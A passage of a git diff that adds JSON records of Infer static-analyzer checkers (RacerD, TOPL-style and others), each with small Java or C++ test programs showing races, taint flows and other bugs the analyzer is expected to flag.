4457},\n {4458, 4459},\n {4460, 4461},\n {4462, 4463},\n {4464, 4465},\n {4466, 4467},\n {4468, 4469},\n {4470, 4471},\n {4472, 4473},\n {4474, 4475},\n {4476, 4477},\n {4478, 4479},\n {4480, 4481},\n {4482, 4483},\n {4484, 4485},\n {4486, 4487},\n {4488, 4489},\n {4490, 4491},\n {4492, 4493},\n {4494, 4495},\n {4496, 4497},\n {4498, 4499},\n {4500, 4501},\n {4502, 4503},\n {4504, 4505},\n {4506, 4507},\n {4508, 4509},\n {4510, 4511},\n {4512, 4513},\n {4514, 4515},\n {4516, 4517},\n {4518, 4519},\n {4520, 4521},\n {4522, 4523},\n {4524, 4525},\n {4526, 4527},\n {4528, 4529},\n {4530, 4531},\n {4532, 4533},\n {4534, 4535},\n {4536, 4537},\n {4538, 4539},\n {4540, 4541},\n {4542, 4543},\n {4544, 4545},\n {4546, 4547},\n {4548, 4549},\n {4550, 4551},\n {4552, 4553},\n {4554, 4555},\n {4556, 4557},\n {4558, 4559},\n {4560, 4561},\n {4562, 4563},\n {4564, 4565},\n {4566, 4567},\n {4568, 4569},\n {4570, 4571},\n {4572, 4573},\n {4574, 4575},\n {4576, 4577},\n {4578, 4579},\n {4580, 4581},\n {4582, 4583},\n {4584, 4585},\n {4586, 4587},\n {4588, 4589},\n {4590, 4591},\n {4592, 4593},\n {4594, 4595},\n {4596, 4597},\n {4598, 4599},\n {4600, 4601},\n {4602, 4603},\n {4604, 4605},\n {4606, 4607},\n {4608, 4609},\n {4610, 4611},\n {4612, 4613},\n {4614, 4615},\n {4616, 4617},\n {4618, 4619},\n {4620, 4621},\n {4622, 4623},\n {4624, 4625},\n {4626, 4627},\n {4628, 4629},\n {4630, 4631},\n {4632, 4633},\n {4634, 4635},\n {4636, 4637},\n {4638, 4639},\n {4640, 4641},\n {4642, 4643},\n {4644, 4645},\n {4646, 4647},\n {4648, 4649},\n {4650, 4651},\n {4652, 4653},\n {4654, 4655},\n {4656, 4657},\n {4658, 4659},\n {4660, 4661},\n {4662, 4663},\n {4664, 4665},\n {4666, 4667},\n {4668, 4669},\n {4670, 4671},\n {4672, 4673},\n {4674, 4675},\n {4676, 4677},\n {4678, 4679},\n {4680, 4681},\n {4682, 4683},\n {4684, 4685},\n {4686, 4687},\n {4688, 4689},\n {4690, 4691},\n {4692, 4693},\n {4694, 4695},\n {4696, 4697},\n {4698, 4699},\n {4700, 4701},\n {4702, 4703},\n {4704, 4705},\n {4706, 4707},\n {4708, 4709},\n {4710, 4711},\n {4712, 4713},\n {4714, 4715},\n {4716, 4717},\n {4718, 4719},\n {4720, 4721},\n {4722, 4723},\n {4724, 4725},\n {4726, 4727},\n {4728, 4729},\n {4730, 4731},\n {4732, 4733},\n {4734, 4735},\n {4736, 4737},\n {4738, 4739},\n {4740, 4741},\n {4742, 4743},\n {4744, 4745},\n {4746, 4747},\n {4748, 4749},\n {4750, 4751},\n {4752, 4753},\n {4754, 4755},\n {4756, 4757},\n {4758, 4759},\n {4760, 4761},\n {4762, 4763},\n {4764, 4765},\n {4766, 4767},\n {4768, 4769},\n {4770, 4771},\n {4772, 4773},\n {4774, 4775},\n {4776, 4777},\n {4778, 4779},\n {4780, 4781},\n {4782, 4783},\n {4784, 4785},\n {4786, 4787},\n {4788, 4789},\n {4790, 4791},\n {4792, 4793},\n {4794, 4795},\n {4796, 4797},\n {4798, 4799},\n {4800, 4801},\n {4802, 4803},\n {4804, 4805},\n {4806, 4807},\n {4808, 4809},\n {4810, 4811},\n {4812, 4813},\n {4814, 4815},\n {4816, 4817},\n {4818, 4819},\n {4820, 4821},\n {4822, 4823},\n {4824, 4825},\n {4826, 4827},\n {4828, 4829},\n {4830, 4831},\n {4832, 4833},\n {4834, 4835},\n {4836, 4837},\n {4838, 4839},\n {4840, 4841},\n {4842, 4843},\n {4844, 4845},\n {4846, 4847},\n {4848, 4849},\n {4850, 4851},\n {4852, 4853},\n {4854, 4855},\n {4856, 4857},\n {4858, 4859},\n {4860, 4861},\n {4862, 4863},\n {4864, 4865},\n {4866, 4867},\n {4868, 4869},\n {4870, 4871},\n {4872, 4873},\n {4874, 4875},\n {4876, 4877},\n {4878, 4879},\n {4880, 4881},\n {4882, 4883},\n {4884, 4885},\n {4886, 4887},\n {4888, 4889},\n {4890, 4891},\n {4892, 4893},\n {4894, 4895},\n {4896, 4897},\n {4898, 4899},\n {4900, 4901},\n {4902, 4903},\n {4904, 4905},\n {4906, 4907},\n {4908, 4909},\n {4910, 4911},\n {4912, 4913},\n {4914, 4915},\n {4916, 4917},\n {4918, 4919},\n {4920, 4921},\n {4922, 4923},\n {4924, 4925},\n {4926, 4927},\n {4928, 4929},\n {4930, 4931},\n {4932, 4933},\n {4934, 4935},\n {4936, 4937},\n {4938, 4939},\n {4940, 4941},\n {4942, 4943},\n {4944, 4945},\n {4946, 4947},\n {4948, 4949},\n {4950, 4951},\n {4952, 4953},\n {4954, 4955},\n {4956, 4957},\n {4958, 4959},\n {4960, 4961},\n {4962, 4963},\n {4964, 4965},\n {4966, 4967},\n {4968, 4969},\n {4970, 4971},\n {4972, 4973},\n {4974, 4975},\n {4976, 4977},\n {4978, 4979},\n {4980, 4981},\n {4982, 4983},\n {4984, 4985},\n {4986, 4987},\n {4988, 4989},\n {4990, 4991},\n {4992, 4993},\n {4994, 4995},\n {4996, 4997},\n {4998, 4999},\n };\n}\n" + }, + { + "testname": "Latent.java", + "testlanguage": "java", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npublic class Latent {\n // Without --topl-filter-unsure, this should be a latent issue marked as PULSE_MANIFEST\n static void test_Ok(int x) {\n g(x);\n }\n\n // Without --topl-filter-unsure, this should remain a latent issue, marked as TOPL_MANIFEST\n static void test_Latent(N p) {\n N old_p = p;\n while (p != null) {\n p = p.next;\n if (old_p == p) {\n g(42);\n break;\n }\n }\n }\n\n static void g(int _x) {}\n}\n\nclass N {\n int data;\n N next;\n}\n" + }, + { + "testname": "Latent.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npublic abstract class Latent {\n\n // This is a latent issue because it depends on the caller whether x is null\n void test_Latent(Object x) {\n f(x);\n }\n\n // Found only if --topl-nonnull-soft given.\n void test_Bad() {\n g();\n }\n\n abstract void f(Object _x);\n\n abstract Object g();\n}\n" + }, + { + "testname": "Flows.java", + "testlanguage": "java", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npublic class Flows {\n static void test(int x) {\n bar(get(x));\n }\n\n static Object get(int x) {\n if (x < 0) return foo1();\n else return foo2();\n }\n\n static Object foo1() {\n return new Object();\n }\n\n static Object foo2() {\n return new Object();\n }\n\n static void bar(Object x) {}\n}\n" + }, + { + "testname": "ServletTests.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport javax.servlet.RequestDispatcher;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletOutputStream;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\n\nclass ServletTests {\n void aBad(ServletResponse response) throws IOException {\n PrintWriter w = response.getWriter();\n ServletOutputStream s = response.getOutputStream();\n }\n\n void bBad(ServletResponse response) throws IOException {\n ServletOutputStream s = response.getOutputStream();\n PrintWriter w = response.getWriter();\n }\n\n void cBad(ServletRequest request, ServletResponse response, RequestDispatcher dispatcher)\n throws IOException, ServletException {\n PrintWriter w = response.getWriter();\n dispatcher.forward(request, response);\n }\n\n // A bugfix for cBad.\n void cOk(ServletRequest request, ServletResponse response, RequestDispatcher dispatcher)\n throws IOException, ServletException {\n PrintWriter w = response.getWriter();\n w.flush();\n dispatcher.forward(request, response);\n }\n}\n" + }, + { + "testname": "IndexSkip.java", + "testlanguage": "java", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.*;\n\npublic class IndexSkip {\n public static void main(String[] args) {\n foo(new ArrayList<>(Arrays.asList(1, 2, 3, 4)));\n }\n\n static void foo(ArrayList xs) {\n for (int i = 0; i < xs.size(); ++i) {\n int x = xs.get(i);\n if (x % 2 == 0) xs.remove(i);\n }\n }\n}\n" + }, + { + "testname": "IndirectSkip.java", + "testlanguage": "java", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.ArrayList;\n\nclass Holder {\n void doSomething() {}\n}\n\nclass MultiHolder {\n ArrayList holders = new ArrayList<>();\n\n void remove(int i) {\n Holder h = holders.get(i);\n h.doSomething();\n holders.remove(i);\n }\n\n int size() {\n return holders.size();\n }\n}\n\nclass View {\n MultiHolder mh = new MultiHolder();\n\n void setCapacityBad(int n) {\n for (int i = n; i < mh.size(); ++i) {\n mh.remove(i);\n }\n }\n}\n" + }, + { + "testname": "SlowIterTests.java", + "testlanguage": "java", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport java.util.Map;\n\nclass SlowIterTests {\n static void aBad(Map m) {\n for (K k : m.keySet()) {\n System.out.printf(\"%s -> %s\\n\", k, m.get(k));\n }\n }\n\n static void aOk(Map m) {\n for (Map.Entry e : m.entrySet()) {\n System.out.printf(\"%s -> %s\\n\", e.getKey(), e.getValue());\n }\n }\n\n // Inter-procedural variant of aBad.\n static void bBad(Map m) {\n for (K k : m.keySet()) {\n print(k, m);\n }\n }\n\n static void print(K k, Map m) {\n System.out.printf(\"%s -> %s\\n\", k, m.get(k));\n }\n}\n" + }, + { + "testname": "StringLiteral.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nabstract class StringLiteral {\n abstract String source(String type);\n\n abstract void sink(String s);\n\n void fOk() {\n sink(\"ok\");\n }\n\n void fBad() {\n sink(\"bad\");\n }\n\n void gBad() {\n gLatent(\"bad\");\n }\n\n void gLatent(String s) {\n sink(s);\n }\n\n void hOk() {\n sink(source(\"ok\"));\n }\n\n void hBad() {\n sink(source(\"bad\"));\n }\n}\n" + }, + { + "testname": "Taint.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nabstract class Taint {\n abstract String badString();\n\n abstract void sendToDb(String arg);\n\n void fOk() {\n String s0 = badString();\n String s1 = \"foo\";\n if (s0 == s1) return; // Hint for Pulse.\n sendToDb(s1);\n }\n\n void FN_fBad() {\n String s0 = badString();\n if (s0 == null) return;\n String s1 = \"foo\" + s0 + \"bar\";\n if (s1 == s0) return;\n String s2 = \"oops\" + s1;\n if (s2 == s1 || s2 == s0) return;\n String s3 = s1 + s1;\n if (s3 == s0 || s3 == s1 || s3 == s2) return;\n sendToDb(s2);\n }\n}\n" + }, + { + "testname": "TypeFilter.java", + "testlanguage": "java", + "expected-problems": 30, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass A {}\n\n// TypeFilter.topl says this is bad, as is everything that extends it.\nclass B {}\n\nclass C extends B {}\n\nclass D extends C {}\n\nclass E extends A {}\n\nclass LongBadName {}\n\npublic class TypeFilter {\n static void f(Object x) {}\n\n static void aOk(A x) {\n f(x);\n }\n\n static void bBad(B x) {\n f(x);\n }\n\n static void cBad(C x) {\n f(x);\n }\n\n static void dBad(D x) {\n f(x);\n }\n\n static void eOk(E x) {\n f(x);\n }\n\n static void longArgBad(LongBadName x) {\n f(x);\n }\n\n static void longLocalBad() {\n f(new B());\n }\n\n // Should fail ReturnB and ReturnNotC\n // TODO: Tests do not record which TOPL property fails.\n static void fBad() {\n mk_b();\n }\n\n // Should fail ReturnB and ReturnC\n static void gBad() {\n mk_c();\n }\n\n // helper\n static B mk_b() {\n return new B();\n }\n\n // helper\n static C mk_c() {\n return new C();\n }\n}\n" + }, + { + "testname": "Valid.java", + "testlanguage": "java", + "expected-problems": 16, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass Valid {\n public static boolean is_valid_vn(int i) {\n return i >= 1 && i <= 10;\n }\n\n public static void id_to_vn(int i) {}\n\n public static void safe_call(int id) {\n if (is_valid_vn(id)) {\n id_to_vn(id);\n }\n }\n\n public static void FP_testOk() {\n safe_call(1);\n }\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/FragmentRetainsView.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/FragmentRetainsView.json new file mode 100644 index 0000000..a3d03f7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/FragmentRetainsView.json @@ -0,0 +1,15 @@ +{ + "name": "FragmentRetainsView", + "language": [ + "java" + ], + "description": "Detects when Android fragments are not explicitly nullified before becoming unreachable.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 0, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LithoRequiredProps.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LithoRequiredProps.json new file mode 100644 index 0000000..92b19f8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LithoRequiredProps.json @@ -0,0 +1,15 @@ +{ + "name": "LithoRequiredProps", + "language": [ + "java" + ], + "description": "Checks that all non-optional `@Prop`s have been specified when constructing Litho \\\n components.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 0, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LoopHoisting.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LoopHoisting.json new file mode 100644 index 0000000..86ecb22 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LoopHoisting.json @@ -0,0 +1,16 @@ +{ + "name": "LoopHoisting", + "language": [ + "clang", + "java" + ], + "description": "Detect opportunities to hoist function calls that are invariant outside of loop bodies \\\n for efficiency.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 0, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/RacerD.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/RacerD.json new file mode 100644 index 0000000..b0c6525 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/RacerD.json @@ -0,0 +1,263 @@ +{ + "name": "RacerD", + "language": [ + "clang", + "java" + ], + "description": "Thread safety analysis.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 0, + "branches": 0, + "apis": 0, + "test": [ + { + "testname": "basics.cpp", + "testlanguage": "c++", + "expected-problems": 36, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace basics {\n\nclass Basic {\n public:\n Basic() {}\n\n void set_not_guarded_ok(int new_value) { not_guarded = new_value; }\n\n int get_not_guarded_ok() { return not_guarded; }\n\n void set_well_guarded_ok(int new_value) {\n mutex_.lock();\n well_guarded = new_value;\n mutex_.unlock();\n }\n\n int get_well_guarded_ok() {\n int result;\n mutex_.lock();\n result = well_guarded;\n mutex_.unlock();\n return result;\n }\n\n void set_suspiciously_read_bad(int new_value) {\n mutex_.lock();\n suspiciously_read = new_value;\n mutex_.unlock();\n }\n\n int get_suspiciously_read_bad() { return suspiciously_read; }\n\n void set_suspiciously_written_ok(int new_value) {\n mutex_.lock();\n mutex_.unlock();\n suspiciously_written = new_value;\n }\n\n int get_suspiciously_written_ok() {\n int result;\n mutex_.lock();\n result = suspiciously_written;\n mutex_.unlock();\n return result;\n }\n\n void write_array_under_lock_ok(char* arr1) {\n mutex_.lock();\n arr1[2] = 'c';\n mutex_.unlock();\n }\n\n int read_array_outside_lock_ok(char* arr2, int i) { return arr2[i]; }\n\n void set_double_lock_guarded_ok(int new_value) {\n mutex_.lock();\n mutex_2.lock();\n double_lock_guarded = new_value;\n mutex_2.unlock();\n mutex_.unlock();\n }\n\n int read_double_lock_guarded_ok() {\n int result;\n mutex_2.lock();\n result = double_lock_guarded;\n mutex_2.unlock();\n return result;\n }\n\n void set_double_suspiciously_read_bad(int new_value) {\n mutex_.lock();\n mutex_2.lock();\n single_lock_suspiciously_read = new_value;\n mutex_2.unlock();\n mutex_.unlock();\n }\n\n int read_double_suspiciously_read_bad() {\n return single_lock_suspiciously_read;\n }\n\n private:\n int well_guarded;\n int suspiciously_read;\n int suspiciously_written;\n int not_guarded;\n int double_lock_guarded;\n int single_lock_suspiciously_read;\n std::mutex mutex_;\n std::mutex mutex_2;\n\n int get_private_suspiciously_read_ok() { return suspiciously_read; }\n};\n} // namespace basics\n" + }, + { + "testname": "basics_no_mutex.cpp", + "testlanguage": "c++", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nnamespace basics {\n\nclass BasicsNoMutex {\n public:\n BasicsNoMutex() {}\n\n void set_ok(int new_value) {\n field_1 = new_value;\n field_2 = new_value;\n }\n\n int get_field1_ok() { return field_1; }\n\n private:\n int field_1;\n int field_2;\n};\n} // namespace basics\n" + }, + { + "testname": "conditional.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nclass Conditional {\n public:\n Conditional() {}\n\n int get_x() { return x; }\n\n bool owns() {\n // temporary is properly destroyed and lock released\n return std::unique_lock(mutex_).owns_lock();\n }\n\n void run_ok() {\n if (owns()) {\n }\n\n x = 0;\n }\n\n int get_y() { return y; }\n\n void run_FP() {\n // temporary not destroyed, so lock stays acquired at store to [x]\n if (std::unique_lock(mutex_).owns_lock()) {\n }\n\n y = 0;\n }\n\n private:\n int x;\n int y;\n std::mutex mutex_;\n};\n" + }, + { + "testname": "constructor_formals.cpp", + "testlanguage": "c++", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace constructor_formals {\nclass Basic {\n public:\n // there can be a race here between the initializer read and the set function\n // below\n Basic(Basic& other) : field_(other.field_) {}\n\n void FN_set_under_lock_bad(int value) {\n mutex_.lock();\n field_ = value;\n mutex_.unlock();\n }\n\n private:\n std::mutex mutex_;\n int field_;\n};\n} // namespace constructor_formals\n" + }, + { + "testname": "containers.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nnamespace containers {\n\nstruct A {\n int value;\n};\n\nstruct B {\n\n void FN_write_container_bad(int key, int value) {\n mutex_.lock();\n map[key].value = value;\n mutex_.unlock();\n }\n\n int FN_get_bad(int key) { return map[key].value; }\n\n int FN_size_bad() { return map.size(); }\n\n private:\n std::map map;\n std::mutex mutex_;\n};\n} // namespace containers\n" + }, + { + "testname": "dereferencing.cpp", + "testlanguage": "c++", + "expected-problems": 35, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace dereferencing {\n\nstruct B {\n int c;\n};\n\nstruct A {\n B b;\n};\n\nstruct X {\n int w;\n int u;\n X* x1;\n X** x2;\n A a;\n};\n\nclass Basic {\n public:\n Basic() {}\n\n void FN_pointer_deref_bad(int b) {\n if (b) {\n pointer_deref(&p);\n } else {\n mutex_.lock();\n pointer_deref(&p);\n mutex_.unlock();\n }\n }\n\n void pointer_arith_ok(int b) {\n if (b) {\n pointer_arith(&q);\n } else {\n mutex_.lock();\n pointer_arith(&q);\n mutex_.unlock();\n }\n }\n\n void value_ok(int b) {\n if (b) {\n value(h);\n } else {\n mutex_.lock();\n value(h);\n mutex_.unlock();\n }\n }\n\n void FN_field_bad(int b) {\n if (b) {\n field(g);\n } else {\n mutex_.lock();\n field(g);\n mutex_.unlock();\n }\n }\n\n void deref_w_bad(int b) {\n if (b) {\n deref_w(x);\n } else {\n mutex_.lock();\n deref_w(x);\n mutex_.unlock();\n }\n }\n\n void deref_u_bad(int b) {\n if (b) {\n deref_u(x);\n } else {\n mutex_.lock();\n deref_u(x);\n mutex_.unlock();\n }\n }\n\n void deref_abc_bad(int b) {\n if (b) {\n deref_abc(x);\n } else {\n mutex_.lock();\n deref_abc(x);\n mutex_.unlock();\n }\n }\n\n private:\n void pointer_deref(int* v1) { (*v1)++; } // HIL: *(v1) := *(v1) + 1\n\n void pointer_arith(int* v2) { v2++; } // HIL: v2 := v2 + 1\n\n void value(int v3) { v3++; } // HIL: v3 := v3 + 1\n\n void field(int& f) { f++; } // HIL: *(f) := *(f) + 1\n\n void deref_w(X& xparam) {\n xparam.x1->w++; // HIL: xparam->x1->w := xparam->x1->w + 1\n }\n\n void deref_u(X& xparam) {\n (*xparam.x1).u++; // HIL: xparam->x1->u := xparam->x1->u + 1\n }\n\n void deref_abc(X& xparam) {\n (**xparam.x2).a.b.c++; // HIL:*(xparam->x2)->a.b.c:= *(xparam->x2)->a.b.c+1\n }\n\n int g;\n int h;\n int p;\n int q;\n X x;\n std::mutex mutex_;\n};\n} // namespace dereferencing\n" + }, + { + "testname": "lambdas.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nclass Lambdas {\n public:\n void race_in_lambda_even_without_call_ok() {\n auto lambda_with_sync = [&]() {\n mutex_.lock();\n f = 0;\n mutex_.unlock();\n return f;\n };\n }\n\n // access propagation to callees does not currently work\n int FN_race_in_lambda_bad() {\n auto lambda_with_sync = [&]() { return g; };\n\n return lambda_with_sync();\n }\n\n void set_under_lock(int value) {\n mutex_.lock();\n g = value;\n mutex_.unlock();\n }\n\n private:\n int f;\n int g;\n std::mutex mutex_;\n};\n" + }, + { + "testname": "locals_char_array.cpp", + "testlanguage": "c++", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace locals_char_array {\n\nvoid f() {\n char line[1024];\n int x;\n line[0] = line[1];\n x = 0;\n}\n\nstruct A {\n void locals_ok(int b) {\n if (b) {\n f();\n } else {\n mutex_.lock();\n f();\n mutex_.unlock();\n }\n }\n\n std::mutex mutex_;\n};\n\n} // namespace locals_char_array\n" + }, + { + "testname": "locals_ownership.cpp", + "testlanguage": "c++", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace locals {\n\nstruct X {\n int f;\n};\n\nclass Ownership {\n public:\n Ownership() {}\n\n int struct_ok() {\n X x;\n mutex_.lock();\n x.f = 7;\n mutex_.unlock();\n return x.f;\n }\n\n int ptr_to_struct_ok() {\n X* x = new X();\n mutex_.lock();\n x->f = 7;\n mutex_.unlock();\n return x->f;\n }\n\n int copy_constructor_ok() {\n X x = current; // copy constructor\n mutex_.lock();\n x.f = 7;\n mutex_.unlock();\n return x.f;\n }\n\n int FN_ptr_to_field_struct_bad() {\n X* x = ¤t;\n mutex_.lock();\n x->f = 7;\n mutex_.unlock();\n return x->f;\n }\n\n int copy_formal_ok(X xformal) {\n X x = xformal; // copy constructor\n mutex_.lock();\n x.f = 7;\n mutex_.unlock();\n return x.f;\n }\n\n int FN_ptr_to_formal_bad(X* xformal) {\n X* x = xformal;\n mutex_.lock();\n x->f = 7;\n mutex_.unlock();\n return x->f;\n }\n\n private:\n X current;\n std::mutex mutex_;\n};\n} // namespace locals\n" + }, + { + "testname": "lock_guard_with_scope.cpp", + "testlanguage": "c++", + "expected-problems": 19, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace basics {\n\nclass LockGuardWithScope {\n public:\n LockGuardWithScope() {}\n\n void not_guarded_ok(int b, int new_value) {\n if (b) {\n not_guarded = new_value;\n } else {\n return not_guarded;\n }\n }\n\n void well_guarded_ok(int b, int new_value) {\n std::lock_guard lock(mutex_);\n if (b) {\n well_guarded = new_value;\n } else {\n return well_guarded;\n }\n }\n\n void suspiciously_read_bad(int b, int new_value) {\n if (b) {\n std::lock_guard lock(mutex_);\n suspiciously_read = new_value;\n } else {\n return suspiciously_read;\n }\n }\n\n void suspiciously_written_ok(int b, int new_value) {\n if (b) {\n suspiciously_written = new_value;\n } else {\n std::lock_guard lock(mutex_);\n return suspiciously_written;\n }\n }\n\n private:\n int well_guarded;\n int suspiciously_read;\n int suspiciously_written;\n int not_guarded;\n std::mutex mutex_;\n};\n} // namespace basics\n" + }, + { + "testname": "noreturn.cpp", + "testlanguage": "c++", + "expected-problems": 15, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nclass Noreturn {\n public:\n Noreturn() {}\n\n int get_x_without_lock() { return x; }\n\n void write_not_under_lock() {\n { std::unique_lock g(mutex_); }\n x = 0;\n }\n\n [[noreturn]] void never_returns();\n\n void indirectly_never_returns() { never_returns(); }\n\n void may_not_return(bool b) {\n if (b)\n never_returns();\n }\n\n void never_returns_under_lock() {\n std::unique_lock g(mutex_);\n never_returns();\n }\n\n void write_after_never_returns_under_lock() {\n never_returns_under_lock();\n x = 0;\n }\n\n void write_after_indirect_never_returns_under_lock() {\n std::unique_lock g(mutex_);\n indirectly_never_returns();\n x = 0;\n }\n\n int get_y_without_lock() { return y; }\n\n void write_after_call_to_may_never_return_under_lock_bad(bool b) {\n std::unique_lock g(mutex_);\n may_not_return(b);\n y = 0;\n }\n\n private:\n int x;\n int y;\n std::mutex mutex_;\n};\n" + }, + { + "testname": "scoped_lock.cpp", + "testlanguage": "c++", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nclass ScopedLock {\n public:\n ScopedLock() {}\n\n void store_x(int xx) {\n std::scoped_lock g(mutex_);\n x = xx;\n }\n\n int get_x() {\n std::scoped_lock g(mutex_);\n return x;\n }\n\n void store_y(int yy) {\n std::scoped_lock g(mutex_);\n y = yy;\n }\n\n int get_y_bad() { return y; }\n\n void store_z(int zz) { z = zz; }\n\n int get_z() {\n std::scoped_lock g(mutex_);\n return z;\n }\n\n private:\n int x, y, z;\n std::mutex mutex_;\n};\n" + }, + { + "testname": "std_lock.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace basics {\n\nclass StdLock {\n public:\n StdLock() {}\n\n void set_ok(StdLock* other) {\n std::lock(mutex_, other->mutex_);\n guarded = other->guarded;\n }\n\n int get_ok() {\n mutex_.lock();\n return guarded;\n }\n\n void set_bad(StdLock* other) {\n std::lock(mutex_, other->mutex_);\n not_guarded = other->not_guarded;\n }\n\n int get_bad() { return not_guarded; }\n\n private:\n int guarded;\n int not_guarded;\n std::mutex mutex_;\n};\n} // namespace basics\n" + }, + { + "testname": "unique_lock.cpp", + "testlanguage": "c++", + "expected-problems": 35, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace basics {\n\nclass UniqueLock {\n public:\n UniqueLock() {}\n\n int well_guarded1_ok(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n well_guarded1 = new_value;\n return 0;\n } else {\n std::lock_guard lock(mutex_);\n return well_guarded1;\n }\n }\n\n int well_guarded2_deferred_ok(int b, int new_value) {\n if (b) {\n 